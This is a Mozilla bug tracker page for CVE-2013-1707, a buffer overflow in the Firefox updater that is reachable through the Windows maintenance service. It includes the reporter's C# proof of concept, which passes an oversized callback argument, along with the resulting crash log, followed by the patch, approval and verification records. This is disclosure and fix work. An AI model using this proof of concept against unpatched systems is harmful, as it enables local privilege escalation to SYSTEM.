Note: There are a few cases of duplicates in user autocompletion which are being worked on.
Bug 888314 (CVE-2013-1707)

Buffer overflow in Updater

RESOLVED FIXED in Firefox 23

Status

()

Toolkit
Application Update
RESOLVED FIXED
4 years ago
3 years ago

People

(Reporter: Seb Patane, Assigned: bbondy)

Tracking

({csectype-bounds, csectype-priv-escalation, sec-high})

22 Branch
mozilla25
x86_64
Windows 7
csectype-bounds, csectype-priv-escalation, sec-high
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox22 wontfix, firefox23+ verified, firefox24+ fixed, firefox25+ verified, firefox-esr1723+ verified, b2g18 unaffected)

Details

(Whiteboard: [adv-main23+][adv-esr1708+])

Attachments

(2 attachments)

(Reporter)

Description

4 years ago
Created attachment 768974 [details]
Proof of concept source + binary

Using specially crafted arguments, an attacker can cause a buffer overflow in the updater executable (http://hg.mozilla.org/mozilla-central/file/942686767e5e/toolkit/mozapps/update/updater/updater.cpp#l2940). The maintenance service passes all arguments provided to it along to the updater, so it can be used to trigger the overflow which can potentially lead to arbitrary code execution with SYSTEM privileges.

The vulnerability occurs when the /replace flag is given along with a long callback path. C# proof-of-concept:

using System;
using System.ServiceProcess;

namespace ReplaceBufferOverflow
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                ServiceController c = new ServiceController("MozillaMaintenance");
                c.Start(new string[] {  "aaa",
                                    "software-update",
                                    @"c:\program files (x86)\Mozilla Firefox\updater.exe",
                                    @"c:\program files (x86)\Mozilla Firefox",
                                    @"c:\Program Files (x86)\Mozilla Firefox\uninstall",
                                    @"/replace",
                                    @"CCCCC",
                                    (new String('A',999))
                                     });
            }
            catch (Exception e) {
                Console.WriteLine(e);
            }
        }
    }
}


I can replicate on Windows 7 x64 with updater.exe version 22.0.0.4917 and maintenanceservice.exe version 23.0.0.4921. The result is an entry in the Windows application event log that looks similar to this:

Event ID: 1000
Faulting application name: updater.exe, version: 22.0.0.4917, time stamp: 0x51c055c9
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x00410041
Faulting process id: 0x408
Faulting application start time: 0x01ce741487153860
Faulting application path: C:\Program Files (x86)\Mozilla Maintenance Service\update\updater.exe
Faulting module path: unknown
...

I have attached a compiled version of the proof-of-concept code, let me know if you need any further details.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: sec-bounty?
Blocks: 307181
(Assignee)

Updated

4 years ago
Assignee: nobody → netzen
(Assignee)

Comment 1

4 years ago
Created attachment 769224 [details] [diff] [review]
Patch v1.
Attachment #769224 - Flags: review?(robert.bugzilla)
Attachment #769224 - Flags: review?(robert.bugzilla) → review+
(Assignee)

Comment 2

4 years ago
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

Requesting approval to land on try, oak, and m-i.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
A crash easily, I'm not sure how easy it is to execute something elevated.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No comments, but the content of the patch seems somewhat obvious what it's fixing.

Which older supported branches are affected by this flaw?
All for at least 10 versions.

If not all supported branches, which bug introduced the flaw?
bug 307181 (background updates)

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Should be the same patch everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Not likely after I test on oak.
Attachment #769224 - Flags: sec-approval?
(Assignee)

Updated

4 years ago
tracking-firefox-esr17: --- → ?
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

sec-approval+ for trunk. We should get this on branches well before the next release given the amount of security issues in this area recently.
Attachment #769224 - Flags: sec-approval? → sec-approval+
status-b2g18: --- → unaffected
status-firefox22: --- → wontfix
status-firefox23: --- → affected
status-firefox24: --- → affected
status-firefox25: --- → affected
status-firefox-esr17: --- → affected
tracking-firefox23: --- → +
tracking-firefox24: --- → +
tracking-firefox25: --- → +
tracking-firefox-esr17: ? → 23+
Keywords: csec-bounds, csec-priv-escalation, sec-high
(Assignee)

Comment 4

4 years ago
https://hg.mozilla.org/integration/mozilla-inbound/rev/bc1a5c66674b
Target Milestone: --- → mozilla25
https://hg.mozilla.org/mozilla-central/rev/bc1a5c66674b
Status: NEW → RESOLVED
Last Resolved: 4 years ago
status-firefox25: affected → fixed
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+
(Assignee)

Comment 7

4 years ago
Comment on attachment 769224 [details] [diff] [review]
Patch v1.

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined:
It is a sec:high
A process that already has local access could potentially get elevated access.
Buffer overflow, someone could write into process memory and possibly cause it to jump to execute their own code

Bug caused by (feature/regressing bug #): 
bug 307181

Fix Landed on Version:
mozilla25

Risk to taking this patch (and alternatives if risky): 
Low

String or UUID changes made by this patch: 
None

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Attachment #769224 - Flags: approval-mozilla-esr17?
Attachment #769224 - Flags: approval-mozilla-beta?
Attachment #769224 - Flags: approval-mozilla-aurora?
Attachment #769224 - Flags: approval-mozilla-esr17?
Attachment #769224 - Flags: approval-mozilla-esr17+
Attachment #769224 - Flags: approval-mozilla-beta?
Attachment #769224 - Flags: approval-mozilla-beta+
Attachment #769224 - Flags: approval-mozilla-aurora?
Attachment #769224 - Flags: approval-mozilla-aurora+
(Assignee)

Comment 8

4 years ago
https://hg.mozilla.org/releases/mozilla-beta/rev/fa67f60f5318
https://hg.mozilla.org/releases/mozilla-aurora/rev/3f1c622325a5
https://hg.mozilla.org/releases/mozilla-esr17/rev/7e7109a85fd7
status-firefox23: affected → fixed
status-firefox24: affected → fixed
status-firefox-esr17: affected → fixed
Whiteboard: [adv-main23+][adv-esr1708+]
Alias: CVE-2013-1707
Confirmed issue using 17.0.7esr, and FF22.
Confirmed fixed using 17.0.8esr candidate, FF23 candidate and today's m-c nightly.
status-firefox23: fixed → verified
status-firefox25: fixed → verified
status-firefox-esr17: fixed → verified
Group: core-security
You need to log in before you can comment on or make changes to this bug.